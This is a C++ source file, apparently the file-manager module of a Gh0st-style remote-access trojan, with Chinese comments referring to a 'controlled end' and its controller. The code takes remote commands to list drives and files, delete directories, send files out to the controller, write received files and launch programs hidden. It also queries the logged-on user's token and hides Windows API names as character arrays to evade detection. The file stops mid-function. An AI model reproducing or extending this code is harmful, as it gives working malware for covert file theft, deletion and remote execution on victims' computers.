2024-06-23 17:36:53 +08:00

975 lines
26 KiB
C++
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// FileManager.cpp: implementation of the CFileManager class.
//
//////////////////////////////////////////////////////////////////////
// #include "StdAfx.h"
#include "FileManager.h"
#include <LM.h>
#include <ShlObj.h>
#include <shellapi.h>
typedef struct
{
DWORD dwSizeHigh;
DWORD dwSizeLow;
}FILESIZE;
enum
{
COMMAND_COMPRESS_FILE_PARAM,
};
extern FARPROC MyGetProcAddressA(LPCSTR lpFileName, LPCSTR lpProcName);
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CFileManager::CFileManager(CClientSocket *pClient):CManager(pClient)
{
HINSTANCE kernel32 = LoadLibrary("kernel32.dll");
typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
LPFN_ISWOW64PROCESS fnIsWow64Process;
fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle(TEXT("kernel32")),"IsWow64Process");
m_bIsWow64 = FALSE;
fnIsWow64Process(GetCurrentProcess(), &m_bIsWow64);
m_hFileSend = INVALID_HANDLE_VALUE;
m_hFileRecv = INVALID_HANDLE_VALUE;
m_nTransferMode = TRANSFER_MODE_NORMAL;
// 发送驱动器列表, 开始进行文件管理,建立新线程
SendDriveList();
}
CFileManager::~CFileManager()
{
m_UploadList.clear();
if (m_hFileSend != INVALID_HANDLE_VALUE)
{
CloseHandle(m_hFileSend);
m_hFileSend = INVALID_HANDLE_VALUE;
}
if (m_hFileRecv != INVALID_HANDLE_VALUE)
{
CloseHandle(m_hFileRecv);
m_hFileRecv = INVALID_HANDLE_VALUE;
}
}
void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
PVOID OldValue = NULL;
BOOL bRevert = FALSE;
if (m_bIsWow64)
{
char AjrFx[]={'K','E','R','N','E','L','3','2','.','d','l','l','\0'};
char xTfkA[]={'W','o','w','6','4','D','i','s','a','b','l','e','W','o','w','6','4','F','s','R','e','d','i','r','e','c','t','i','o','n','\0'};
typedef BOOL (WINAPI *Wow64DisableWow64FsRedirectionT)(PVOID *OldValue);
Wow64DisableWow64FsRedirectionT pWow64DisableWow64FsRedirection=(Wow64DisableWow64FsRedirectionT)MyGetProcAddressA(AjrFx,xTfkA);
if (pWow64DisableWow64FsRedirection)
bRevert = pWow64DisableWow64FsRedirection(&OldValue);
}
switch (lpBuffer[0])
{
case COMMAND_LIST_FILES: // 获取磁盘列表(文件列表)
SendFilesList((char *)lpBuffer + 1);
break;
case COMMAND_DELETE_FILE: // 被控端删除单个文件
DeleteFile((char *)lpBuffer + 1);
SendToken(TOKEN_DELETE_FINISH);
break;
case COMMAND_DELETE_DIRECTORY: // 被控端删除整个文件夹
DeleteDirectory((char *)lpBuffer + 1);
SendToken(TOKEN_DELETE_FINISH);
break;
case COMMAND_DOWN_FILES: // 上传文件, 对于控制端来说是下载文件, 控制端仅创建文件(空文件)
UploadToRemote(lpBuffer + 1);
break;
case COMMAND_CONTINUE: // 上传数据, 对于控制端来说是下载数据, 控制端将保存数据到之前创建的空文件
SendFileData(lpBuffer + 1);
break;
case COMMAND_CREATE_FOLDER: // 被控端创建一个空的文件夹
CreateFolder(lpBuffer + 1);
break;
case COMMAND_RENAME_FILE: // 被控端重命名文件夹(文件)
Rename(lpBuffer + 1);
break;
case COMMAND_STOP: // 此处特殊
StopTransfer(*&lpBuffer[1]);
break;
case COMMAND_SET_TRANSFER_MODE: // 下载文件(对于控制端来说是上传文件)时的传输模式, 包含覆盖继传跳过等
SetTransferMode(lpBuffer + 1);
break;
case COMMAND_FILE_SIZE: // 下载文件, 对于控制端来说是上传文件, 被控端仅创建文件(空文件)
CreateLocalRecvFile(lpBuffer + 1);
break;
case COMMAND_FILE_DATA: // 下载数据, 对于控制端来说是上传数据, 被控端将保存数据到之前创建的空文件
WriteLocalRecvFile(lpBuffer + 1, nSize - 1);
break;
case COMMAND_OPEN_FILE_SHOW: // 被控端以可见方式打开指定的文件(目录)
OpenFile((char *)lpBuffer + 2, SW_SHOW);
//ShellExecute(NULL, "open", (char *)lpBuffer + 1, NULL, NULL, SW_SHOW);
break;
case COMMAND_OPEN_FILE_HIDE: // 被控端以隐藏方式打开指定的文件(目录)
OpenFile((char *)lpBuffer + 2, SW_HIDE);
//ShellExecute(NULL, "open", (char *)lpBuffer + 1, NULL, NULL, SW_HIDE);
break;
case COMMAND_COMPRESS_FILE_PARAM: // 被控端用(WinRAR)压缩或解压指定的文件(目录)
ExeCompress(lpBuffer + 1);
break;
default:
break;
}
if (bRevert)
{
char VjrFx[]={'K','E','R','N','E','L','3','2','.','d','l','l','\0'};
char xTfkV[]={'W','o','w','6','4','R','e','v','e','r','t','W','o','w','6','4','F','s','R','e','d','i','r','e','c','t','i','o','n','\0'};
typedef BOOL (WINAPI *Wow64RevertWow64FsRedirectionT)(PVOID OldValue);
Wow64RevertWow64FsRedirectionT pWow64RevertWow64FsRedirection=(Wow64RevertWow64FsRedirectionT)MyGetProcAddressA(VjrFx,xTfkV);
if (pWow64RevertWow64FsRedirection)
pWow64RevertWow64FsRedirection(OldValue);
}
}
bool CFileManager::MakeSureDirectoryPathExists(LPCTSTR pszDirPath)
{
LPTSTR p, pszDirCopy;
DWORD dwAttributes;
// Make a copy of the string for editing.
__try
{
pszDirCopy = (LPTSTR)malloc(sizeof(TCHAR) * (lstrlen(pszDirPath) + 1));
if(pszDirCopy == NULL)
return FALSE;
lstrcpy(pszDirCopy, pszDirPath);
p = pszDirCopy;
// If the second character in the path is "\", then this is a UNC
// path, and we should skip forward until we reach the 2nd \ in the path.
if((*p == TEXT('\\')) && (*(p+1) == TEXT('\\')))
{
p++; // Skip over the first \ in the name.
p++; // Skip over the second \ in the name.
// Skip until we hit the first "\" (\\Server\).
while(*p && *p != TEXT('\\'))
{
p = CharNext(p);
}
// Advance over it.
if(*p)
{
p++;
}
// Skip until we hit the second "\" (\\Server\Share\).
while(*p && *p != TEXT('\\'))
{
p = CharNext(p);
}
// Advance over it also.
if(*p)
{
p++;
}
}
else if(*(p+1) == TEXT(':')) // Not a UNC. See if it's <drive>:
{
p++;
p++;
// If it exists, skip over the root specifier
if(*p && (*p == TEXT('\\')))
{
p++;
}
}
while(*p)
{
if(*p == TEXT('\\'))
{
*p = TEXT('\0');
dwAttributes = GetFileAttributes(pszDirCopy);
// Nothing exists with this name. Try to make the directory name and error if unable to.
if(dwAttributes == 0xffffffff)
{
if(!CreateDirectory(pszDirCopy, NULL))
{
if(GetLastError() != ERROR_ALREADY_EXISTS)
{
free(pszDirCopy);
return FALSE;
}
}
}
else
{
if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY)
{
// Something exists with this name, but it's not a directory... Error
free(pszDirCopy);
return FALSE;
}
}
*p = TEXT('\\');
}
p = CharNext(p);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
// SetLastError(GetExceptionCode());
free(pszDirCopy);
return FALSE;
}
free(pszDirCopy);
return TRUE;
}
bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
{
char lpSubKey[500];
HKEY hKey;
char strTemp[MAX_PATH];
LONG nSize = sizeof(strTemp);
char *lpstrCat = NULL;
memset(strTemp, 0, sizeof(strTemp));
char *lpExt = strrchr(lpFile, '.');
if (!lpExt)
return false;
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpExt, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
return false;
RegQueryValue(hKey, NULL, strTemp, &nSize);
RegCloseKey(hKey);
memset(lpSubKey, 0, sizeof(lpSubKey));
wsprintf(lpSubKey, "%s\\shell\\open\\command", strTemp);
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
return false;
memset(strTemp, 0, sizeof(strTemp));
nSize = sizeof(strTemp);
RegQueryValue(hKey, NULL, strTemp, &nSize);
RegCloseKey(hKey);
char str175914[]={'\"','%','1','\0'};
char str175947[]={'%','1','\0'};
lpstrCat = strstr(strTemp, str175914);
if (lpstrCat == NULL)
lpstrCat = strstr(strTemp,str175947);
if (lpstrCat == NULL)
{
lstrcat(strTemp, " ");
lstrcat(strTemp, lpFile);
}
else
lstrcpy(lpstrCat, lpFile);
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
si.cb = sizeof si;
if (nShowCmd != SW_HIDE)
{
si.lpDesktop = "WinSta0\\Default";
}else
{
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
}
return CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
}
HANDLE CFileManager::ImpersonateLoggedOnUserWrapper()
{
char iOagR[]={'K','E','R','N','E','L','3','2','.','d','l','l','\0'};
char wSuTs[]={'W','T','S','G','e','t','A','c','t','i','v','e','C','o','n','s','o','l','e','S','e','s','s','i','o','n','I','d','\0'};
typedef DWORD (WINAPI *WTSGetActiveConsoleSessionIdT)(void);
WTSGetActiveConsoleSessionIdT pWTSGetActiveConsoleSessionId=(WTSGetActiveConsoleSessionIdT)MyGetProcAddressA(iOagR,wSuTs);
char oIksN[]={'W','T','S','A','P','I','3','2','.','d','l','l','\0'};
char xAsDm[]={'W','T','S','Q','u','e','r','y','U','s','e','r','T','o','k','e','n','\0'};
typedef BOOL (WINAPI *WTSQueryUserTokenT)(ULONG SessionId,PHANDLE phToken);
WTSQueryUserTokenT pWTSQueryUserToken=(WTSQueryUserTokenT)MyGetProcAddressA(oIksN,xAsDm);
char AjrFx[]={'A','D','V','A','P','I','3','2','.','d','l','l','\0'};
char kbCfr[]={'I','m','p','e','r','s','o','n','a','t','e','L','o','g','g','e','d','O','n','U','s','e','r','\0'};
typedef BOOL (WINAPI *ImpersonateLoggedOnUserT)(HANDLE hToken);
ImpersonateLoggedOnUserT pImpersonateLoggedOnUser=(ImpersonateLoggedOnUserT)MyGetProcAddressA(AjrFx,kbCfr);
HANDLE hToken = NULL;
if (pWTSGetActiveConsoleSessionId && pWTSQueryUserToken && pImpersonateLoggedOnUser)
{
DWORD dwConsoleSessionId = pWTSGetActiveConsoleSessionId();
if (pWTSQueryUserToken(dwConsoleSessionId, &hToken))
{
// if (pImpersonateLoggedOnUser(hToken))
return hToken;
}
}
return NULL;
}
UINT CFileManager::SendDriveList()
{
char DriveString[256];
// 前一个字节为令牌后面的52字节为驱动器跟相关属性
BYTE DriveList[2048];
char FileSystem[MAX_PATH];
char *pDrive = NULL;
char szUserName[UNLEN+1];
DWORD dwUserLen = UNLEN;
DriveList[0] = TOKEN_DRIVE_LIST; // 驱动器列表
GetLogicalDriveStrings(sizeof(DriveString), DriveString);
pDrive = DriveString;
unsigned __int64 HDAmount = 0;
unsigned __int64 HDFreeSpace = 0;
unsigned long AmntMB = 0; // 总大小
unsigned long FreeMB = 0; // 剩余空间
GetUserName(szUserName, &dwUserLen);
if (stricmp(szUserName, "SYSTEM") == 0)
DriveList[1] = TRUE;
else
DriveList[1] = FALSE;
HANDLE hTokenAcsi = ImpersonateLoggedOnUserWrapper();
// SHGetSpecialFolderPath(NULL, (char *)&DriveList[1], CSIDL_DESKTOPDIRECTORY, FALSE);
SHGetFolderPath(NULL, CSIDL_DESKTOPDIRECTORY, hTokenAcsi, SHGFP_TYPE_CURRENT, (char *)&DriveList[2]);
// RevertToSelf();
CloseHandle(hTokenAcsi);
for (DWORD dwOffset = 1 + 1 + lstrlen((char *)&DriveList[2]) + 1; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1)
{
memset(FileSystem, 0, sizeof(FileSystem));
// 得到文件系统信息及大小
GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
SHFILEINFO sfi;
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
int nTypeNameLen = lstrlen(sfi.szTypeName) + 1;
int nFileSystemLen = lstrlen(FileSystem) + 1;
// 计算磁盘大小
if (pDrive[0] != 'A' && pDrive[0] != 'B' && GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL))
{
AmntMB = HDAmount / 1024 / 1024;
FreeMB = HDFreeSpace / 1024 / 1024;
}
else
{
AmntMB = 0;
FreeMB = 0;
}
// 开始赋值
DriveList[dwOffset] = pDrive[0];
DriveList[dwOffset + 1] = GetDriveType(pDrive);
// 磁盘空间描述占去了8字节
memcpy(DriveList + dwOffset + 2, &AmntMB, sizeof(unsigned long));
memcpy(DriveList + dwOffset + 6, &FreeMB, sizeof(unsigned long));
// 磁盘卷标名及磁盘类型
memcpy(DriveList + dwOffset + 10, sfi.szTypeName, nTypeNameLen);
memcpy(DriveList + dwOffset + 10 + nTypeNameLen, FileSystem, nFileSystemLen);
dwOffset += 10 + nTypeNameLen + nFileSystemLen;
}
return Send((LPBYTE)DriveList, dwOffset);
}
UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
{
// 重置传输方式
m_nTransferMode = TRANSFER_MODE_NORMAL;
UINT nRet = 0;
char strPath[MAX_PATH];
char *lpszSlash = NULL;
char *pszFileName = NULL;
LPBYTE lpList = NULL;
HANDLE hFile;
DWORD dwOffset = 0; // 位移指针
int nLen = 0;
DWORD nBufferSize = 1024 * 10; // 先分配10K的缓冲区
WIN32_FIND_DATA FindFileData;
if (lpszDirectory[lstrlen(lpszDirectory) - 1] != '\\')
lpszSlash = "\\";
else
lpszSlash = "";
char str18010[]={'%','s','%','s','*','.','*','\0'};
wsprintf(strPath,str18010, lpszDirectory, lpszSlash);
hFile = FindFirstFile(strPath, &FindFileData);
if (hFile == INVALID_HANDLE_VALUE)
{
BYTE bToken = TOKEN_FILE_LIST;
return Send(&bToken, 1);
}
lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize);
*lpList = TOKEN_FILE_LIST;
// 1 为数据包头部所占字节,最后赋值
dwOffset = 1;
/*
文件属性 1
文件名 strlen(filename) + 1 ('\0')
文件大小 4
*/
do
{
// 动态扩展缓冲区
if (dwOffset > (nBufferSize - MAX_PATH * 2))
{
nBufferSize += MAX_PATH * 2;
lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE);
}
pszFileName = FindFileData.cFileName;
if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0)
continue;
// 文件属性 1 字节
*(lpList + dwOffset) = FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
dwOffset++;
// 文件名 lstrlen(pszFileName) + 1 字节
nLen = lstrlen(pszFileName);
memcpy(lpList + dwOffset, pszFileName, nLen);
dwOffset += nLen;
*(lpList + dwOffset) = 0;
dwOffset++;
// 文件大小 8 字节
memcpy(lpList + dwOffset, &FindFileData.nFileSizeHigh, sizeof(DWORD));
memcpy(lpList + dwOffset + 4, &FindFileData.nFileSizeLow, sizeof(DWORD));
dwOffset += 8;
// 最后访问时间 8 字节
memcpy(lpList + dwOffset, &FindFileData.ftLastWriteTime, sizeof(FILETIME));
dwOffset += 8;
} while(FindNextFile(hFile, &FindFileData));
nRet = Send(lpList, dwOffset);
LocalFree(lpList);
FindClose(hFile);
return nRet;
}
bool CFileManager::DeleteDirectory(LPCTSTR lpszDirectory)
{
WIN32_FIND_DATA wfd;
char lpszFilter[MAX_PATH];
char *lpszSlash = NULL;
memset(lpszFilter, 0, sizeof(lpszFilter));
if (lpszDirectory[lstrlen(lpszDirectory) - 1] != '\\')
lpszSlash = "\\";
else
lpszSlash = "";
char str18114[]={'%','s','%','s','*','.','*','\0'};
wsprintf(lpszFilter,str18114, lpszDirectory, lpszSlash);
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败
return false;
char str18046[]={'%','s','%','s','%','s','\0'};
do
{
if (wfd.cFileName[0] != '.')
{
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
char strDirectory[MAX_PATH];
wsprintf(strDirectory,str18046, lpszDirectory, lpszSlash, wfd.cFileName);
DeleteDirectory(strDirectory);
}
else
{
char strFile[MAX_PATH];
wsprintf(strFile,str18046, lpszDirectory, lpszSlash, wfd.cFileName);
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_READONLY)
SetFileAttributes(strFile, FILE_ATTRIBUTE_NORMAL);
DeleteFile(strFile);
}
}
} while (FindNextFile(hFind, &wfd));
FindClose(hFind); // 关闭查找句柄
if(!RemoveDirectory(lpszDirectory))
{
return false;
}
return true;
}
UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
{
UINT nRet = 0;
DWORD dwSizeHigh;
DWORD dwSizeLow;
// 保存当前正在操作的文件名
memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
strcpy(m_strCurrentProcessFileName, lpszFileName);
if (m_hFileSend != INVALID_HANDLE_VALUE)
CloseHandle(m_hFileSend);
m_hFileSend = CreateFile(lpszFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (m_hFileSend == INVALID_HANDLE_VALUE)
return FALSE;
dwSizeLow = GetFileSize(m_hFileSend, &dwSizeHigh);
//CloseHandle(m_hFileSend); // 此处不要关闭, 以后还要用
// 构造数据包,发送文件长度(1字节token, 8字节大小, 文件名称, '\0')
int nPacketSize = lstrlen(lpszFileName) + 10;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
memset(bPacket, 0, nPacketSize);
bPacket[0] = TOKEN_FILE_SIZE;
FILESIZE *pFileSize = (FILESIZE *)(bPacket + 1);
pFileSize->dwSizeHigh = dwSizeHigh;
pFileSize->dwSizeLow = dwSizeLow;
memcpy(bPacket + 9, lpszFileName, lstrlen(lpszFileName) + 1);
nRet = Send(bPacket, nPacketSize);
LocalFree(bPacket);
return nRet;
}
UINT CFileManager::SendFileData(LPBYTE lpBuffer)
{
UINT nRet;
FILESIZE *pFileSize;
char *lpFileName;
pFileSize = (FILESIZE *)lpBuffer;
lpFileName = m_strCurrentProcessFileName;
// 远程跳过,传送下一个
if (pFileSize->dwSizeHigh == -1 && pFileSize->dwSizeLow == -1)
{
UploadNext();
return 0;
}
SetFilePointer(m_hFileSend, pFileSize->dwSizeLow, (long *)&(pFileSize->dwSizeHigh), FILE_BEGIN);
int nHeadLength = 9; // 1 + 4 + 4数据包头部大小
DWORD nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength;
DWORD nNumberOfBytesRead = 0;
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER);
// Token, 大小,偏移,文件名,数据
lpPacket[0] = TOKEN_FILE_DATA;
memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE));
ReadFile(m_hFileSend, lpPacket + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL);
//CloseHandle(m_hFileSend); // 此处不要关闭, 以后还要用
if (nNumberOfBytesRead > 0)
{
int nPacketSize = nNumberOfBytesRead + nHeadLength;
nRet = Send(lpPacket, nPacketSize);
}
else
{
UploadNext();
}
LocalFree(lpPacket);
return nRet;
}
// 传送下一个文件
void CFileManager::UploadNext()
{
if (m_hFileSend != INVALID_HANDLE_VALUE)
{
CloseHandle(m_hFileSend);
m_hFileSend = INVALID_HANDLE_VALUE;
}
list <string>::iterator it = m_UploadList.begin();
// 删除一个任务
m_UploadList.erase(it);
// 还有上传任务
if(m_UploadList.empty())
{
SendToken(TOKEN_TRANSFER_FINISH);
}
else
{
// 上传下一个
it = m_UploadList.begin();
SendFileSize((*it).c_str());
}
}
int CFileManager::SendToken(BYTE bToken)
{
return Send(&bToken, 1);
}
bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
{
if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\')
{
FixedUploadList((char *)lpBuffer);
if (m_UploadList.empty())
{
StopTransfer(TRUE);
return true;
}
}
else
{
m_UploadList.push_back((char *)lpBuffer);
}
list <string>::iterator it = m_UploadList.begin();
// 发送第一个文件
SendFileSize((*it).c_str());
return true;
}
bool CFileManager::FixedUploadList(LPCTSTR lpPathName)
{
WIN32_FIND_DATA wfd;
char lpszFilter[MAX_PATH];
char *lpszSlash = NULL;
memset(lpszFilter, 0, sizeof(lpszFilter));
if (lpPathName[lstrlen(lpPathName) - 1] != '\\')
lpszSlash = "\\";
else
lpszSlash = "";
char str18114[]={'%','s','%','s','*','.','*','\0'};
wsprintf(lpszFilter,str18114, lpPathName, lpszSlash);
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败
return false;
char str18046[]={'%','s','%','s','%','s','\0'};
do
{
if (wfd.cFileName[0] != '.')
{
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
char strDirectory[MAX_PATH];
wsprintf(strDirectory,str18046, lpPathName, lpszSlash, wfd.cFileName);
FixedUploadList(strDirectory);
}
else
{
char strFile[MAX_PATH];
wsprintf(strFile,str18046, lpPathName, lpszSlash, wfd.cFileName);
m_UploadList.push_back(strFile);
}
}
} while (FindNextFile(hFind, &wfd));
FindClose(hFind); // 关闭查找句柄
return true;
}
void CFileManager::StopTransfer(BOOL bIsUpload)
{
if (!m_UploadList.empty())
m_UploadList.clear();
if (m_hFileSend != INVALID_HANDLE_VALUE)
{
CloseHandle(m_hFileSend);
m_hFileSend = INVALID_HANDLE_VALUE;
}
if (m_hFileRecv != INVALID_HANDLE_VALUE)
{
CloseHandle(m_hFileRecv);
m_hFileRecv = INVALID_HANDLE_VALUE;
}
if (bIsUpload)
SendToken(TOKEN_TRANSFER_FINISH);
}
void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer)
{
FILESIZE *pFileSize = (FILESIZE *)lpBuffer;
// 保存当前正在操作的文件名
memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
strcpy(m_strCurrentProcessFileName, (char *)lpBuffer + 8);
// 保存文件长度
m_nCurrentProcessFileLength = ((__int64)pFileSize->dwSizeHigh << 32) + pFileSize->dwSizeLow;
// 创建多层目录
MakeSureDirectoryPathExists(m_strCurrentProcessFileName);
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);
if (hFind != INVALID_HANDLE_VALUE
&& m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL
&& m_nTransferMode != TRANSFER_MODE_ADDITION_ALL
&& m_nTransferMode != TRANSFER_MODE_JUMP_ALL
)
{
SendToken(TOKEN_GET_TRANSFER_MODE);
}
else
{
GetFileData();
}
FindClose(hFind);
}
void CFileManager::GetFileData()
{
int nTransferMode;
switch (m_nTransferMode)
{
case TRANSFER_MODE_OVERWRITE_ALL:
nTransferMode = TRANSFER_MODE_OVERWRITE;
break;
case TRANSFER_MODE_ADDITION_ALL:
nTransferMode = TRANSFER_MODE_ADDITION;
break;
case TRANSFER_MODE_JUMP_ALL:
nTransferMode = TRANSFER_MODE_JUMP;
break;
default:
nTransferMode = m_nTransferMode;
}
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);
// 1字节Token,四字节偏移高四位,四字节偏移低四位
BYTE bToken[9];
DWORD dwCreationDisposition; // 文件打开方式
memset(bToken, 0, sizeof(bToken));
bToken[0] = TOKEN_DATA_CONTINUE;
// 文件已经存在
if (hFind != INVALID_HANDLE_VALUE)
{
// 提示点什么
// 如果是续传
if (nTransferMode == TRANSFER_MODE_ADDITION)
{
memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4);
memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4);
dwCreationDisposition = OPEN_EXISTING;
}
// 覆盖
else if (nTransferMode == TRANSFER_MODE_OVERWRITE)
{
// 偏移置0
memset(bToken + 1, 0, 8);
// 重新创建
dwCreationDisposition = CREATE_ALWAYS;
}
// 传送下一个
else if (nTransferMode == TRANSFER_MODE_JUMP)
{
DWORD dwOffset = -1;
memcpy(bToken + 1, &dwOffset, 4);
memcpy(bToken + 5, &dwOffset, 4);
dwCreationDisposition = OPEN_EXISTING;
}
}
else
{
// 偏移置0
memset(bToken + 1, 0, 8);
// 重新创建
dwCreationDisposition = CREATE_ALWAYS;
}
FindClose(hFind);
if (m_hFileRecv != INVALID_HANDLE_VALUE)
CloseHandle(m_hFileRecv);
m_hFileRecv = CreateFile(m_strCurrentProcessFileName,
GENERIC_WRITE, 0, NULL, dwCreationDisposition, FILE_ATTRIBUTE_NORMAL, 0);
// 需要错误处理
if (m_hFileRecv == INVALID_HANDLE_VALUE)
{
m_nCurrentProcessFileLength = 0;
return;
}
//CloseHandle(m_hFileRecv); // 此处不要关闭, 以后还要用
Send(bToken, sizeof(bToken));
}
void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize)
{
// 传输完毕
BYTE *pData;
DWORD dwBytesToWrite;
DWORD dwBytesWrite;
int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小为固定的9
FILESIZE *pFileSize;
// 得到数据的偏移
pData = lpBuffer + 8;
pFileSize = (FILESIZE *)lpBuffer;
// 得到数据在文件中的偏移
LONG dwOffsetHigh = pFileSize->dwSizeHigh;
LONG dwOffsetLow = pFileSize->dwSizeLow;
dwBytesToWrite = nSize - 8;
SetFilePointer(m_hFileRecv, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
BOOL bRet = WriteFile(m_hFileRecv, pData, dwBytesToWrite, &dwBytesWrite, NULL);
// if (bRet == FALSE)
// printf("文件写入失败");
dwOffsetLow = 0; dwOffsetHigh = 0;
dwOffsetLow = SetFilePointer(m_hFileRecv, dwOffsetLow, &dwOffsetHigh, FILE_CURRENT);
//CloseHandle(m_hFileRecv); // 此处不要关闭, 以后还要用
// 为了比较,计数器递增
BYTE bToken[9];
bToken[0] = TOKEN_DATA_CONTINUE;
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
Send(bToken, sizeof(bToken));
}
void CFileManager::SetTransferMode(LPBYTE lpBuffer)
{
memcpy(&m_nTransferMode, lpBuffer, sizeof(m_nTransferMode));
GetFileData();
}
void CFileManager::CreateFolder(LPBYTE lpBuffer)
{
MakeSureDirectoryPathExists((char *)lpBuffer);
SendToken(TOKEN_CREATEFOLDER_FINISH);
}
void CFileManager::Rename(LPBYTE lpBuffer)
{
LPCTSTR lpExistingFileName = (char *)lpBuffer;
LPCTSTR lpNewFileName = lpExistingFileName + lstrlen(lpExistingFileName) + 1;
::MoveFile(lpExistingFileName, lpNewFileName);
SendToken(TOKEN_RENAME_FINISH);
}
//压缩解或压缩文件
void CFileManager::ExeCompress(BYTE *lpBuffer)
{
SHELLEXECUTEINFO ShExecInfo = {0};
ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
ShExecInfo.lpVerb = NULL;
ShExecInfo.lpFile = "WinRAR";
ShExecInfo.lpParameters = (char*)lpBuffer;
ShExecInfo.nShow = SW_HIDE;
if (ShellExecuteEx(&ShExecInfo))
{
WaitForSingleObject(ShExecInfo.hProcess, INFINITE);
CloseHandle(ShExecInfo.hProcess);
SendToken(TOKEN_COMPRESS_FINISH);
}
}
typedef DWORD
(WINAPI
*GetFileAttributesAT)(
__in LPCSTR lpFileName
);
typedef HINSTANCE
(WINAPI
*ShellExecuteAT)(
HWND hwnd,
LPCSTR lpOperation,
LPCSTR lpFile,
LPCSTR lpParameters,
LPCSTR lpDirectory,
INT nShowCmd);
typedef LONG
(APIENTRY
*RegOpenKeyExAT)(
__in HKEY hKey,
__in_opt LPCSTR lpSubKey,
__reserved DWORD ulOptions,
__in REGSAM samDesired,
__out PHKEY phkResult
);
typedef LONG
(APIENTRY
*RegQueryValueAT)(
__in HKEY hKey,
__in_opt LPCSTR lpSubKey,
__out_bcount_opt(*lpcbData) LPSTR lpData,
__inout_opt PLONG lpcbData
);
typedef LONG
(APIENTRY
*RegCloseKeyT)(
__in HKEY hKey
);
typedef BOOL
(WINAPI
*CreateProcessAT)(
__in_opt LPCSTR lpApplicationName,
__inout_opt LPSTR lpCommandLine,
__in_opt LPSECURITY_ATTRIBUTES lpProcessAttributes,
__in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes,
__in BOOL bInheritHandles,
__in DWORD dwCreationFlags,
__in_opt LPVOID lpEnvironment,
__in_opt LPCSTR lpCurrentDirectory,
__in LPSTARTUPINFOA lpStartupInfo,
__out LPPROCESS_INFORMATION lpProcessInformation
);
typedef BOOL
(WINAPI
*CreateProcessAsUserAT)(
__in_opt HANDLE hToken,
__in_opt LPCSTR lpApplicationName,
__inout_opt LPSTR lpCommandLine,
__in_opt LPSECURITY_ATTRIBUTES lpProcessAttributes,
__in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes,
__in BOOL bInheritHandles,
__in DWORD dwCreationFlags,
__in_opt LPVOID lpEnvironment,
__in_opt LPCSTR lpCurrentDirectory,
__in LPSTARTUPINFOA lpStartupInfo,
__out LPPROCESS_INFORMATION lpProcessInformation
);
LPSTR lpszUserSid = NULL;
FARPROC MyGetProcAddressA(LPCSTR lpFileName, LPCSTR lpProcName)
{
HMODULE hModule;
